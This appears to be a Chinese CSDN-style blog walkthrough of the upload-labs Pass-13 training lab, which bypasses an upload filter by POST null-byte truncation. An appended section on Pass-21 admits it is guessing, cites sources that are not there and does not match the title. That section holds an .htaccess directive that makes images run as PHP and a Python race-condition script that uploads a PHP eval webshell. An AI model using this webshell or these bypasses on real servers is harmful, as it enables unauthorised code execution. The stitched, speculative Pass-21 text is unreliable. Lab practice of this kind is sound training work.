【网络安全】upload-labs Pass-13 解题详析

本文讲解了Antsword在Upload-Labs靶场的实战应用,涉及00截断攻击和解题步骤。后续将探讨XSS-Labs的安全问题。

【精选优质专栏推荐】


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

读者可参考、订阅专栏:【Upload-Labs靶场攻防实战】

Antsword蚁剑

该题涉及蚁剑工具的利用,操作可参考:

【网络安全】AntSword(蚁剑)实战解题详析(入门)

【网络安全】DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集

解题过程

后端逻辑代码:

在这里插入图片描述

该题同Pass-12考察00截断,但为POST传参型。

00截断原理参考:【00截断 | upload-labs Pass-12】

抓包:

在这里插入图片描述

改包:

在这里插入图片描述

接着将%00进行URL编码

在这里插入图片描述

如图,变为空字符串:

在这里插入图片描述

放包:

在这里插入图片描述

获得上传路径:

在这里插入图片描述

之后即可进行shell操作,本文不再赘述。

upload-labs 项目中,Pass-21 的解题思路主要围绕文件上传时的 **MIME 类型验证绕过** 和 **文件名解漏洞利用**。虽然未在提供的引用中直接提及 Pass-21 的具体细节,但根据 upload-labs 系列的常见设计逻辑,Pass-21 很可能涉及以下攻击模式: ### 三级标题:MIME 类型验证绕过 在某些关卡中,服务器会通过检查上传文件的 MIME 类型来阻止非图片文件的上传。攻击者可以通过在上传请求中修改 `Content-Type` 字段来绕过该检查,例如将其设置为 `image/jpeg` 或 `image/png`,即使上传的是 `.php` 文件。这种方式常用于绕过前端或服务器端的简单 MIME 类型检测机制[^1]。 ### 三级标题:双重扩展名上传与解漏洞 服务器端可能使用了不安全的文件名处理方式,例如仅过滤了 `.php` 扩展名,但未对多个扩展名进行处理。攻击者可以尝试上传类似 `shell.php.jpg` 的文件,随后通过某些方式(如 Apache 的解特性)使服务器将 `.php.jpg` 文件当作 PHP 脚本执行。这种攻击方式依赖于服务器配置不当,例如 Apache 的 `mod_php` 模块会解最后一个匹配 `.php` 的扩展名。 ### 三级标题:结合 .htaccess 文件实现解绕过 如果服务器允许上传 `.htaccess` 文件,则攻击者可以上传一个自定义的 `.htaccess` 文件,配置其将特定扩展名(如 `.jpg`)解为 PHP 脚本。例如,添加如下内容: ```apache AddType application/x-httpd-php .jpg ``` 上传后,再上传一个以 `.jpg` 结尾的 PHP 文件,服务器会将其当作 PHP 脚本执行。这种方式常见于 Linux 环境下的 upload-labs 关卡[^3]。 ### 三级标题:条件竞争与多线程上传 在某些情况下,服务器可能对上传后的文件进行异步检查或清理,攻击者可以利用时间差进行条件竞争攻击。通过并发脚本快速上传并访问恶意文件,从而在文件被删除前完成命令执行。例如使用 Python 脚本进行多线程上传和访问: ```python import threading import requests def upload_file(): url = "http://localhost/upload-labs-master/upload.php" files = {'file': ('shell.php', "<?php @eval($_POST['cmd']); ?>", 'image/jpeg')} data = {'submit': 'Upload'} while True: requests.post(url, files=files, data=data) def access_file(): while True: requests.get("http://localhost/upload-labs-master/uploads/shell.php") threads = [] for _ in range(10): t = threading.Thread(target=upload_file) t.start() threads.append(t) for _ in range(2): t = threading.Thread(target=access_file) t.start() threads.append(t) ``` 此脚本通过并发上传和访问,尝试在服务器清理文件前完成攻击过程。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值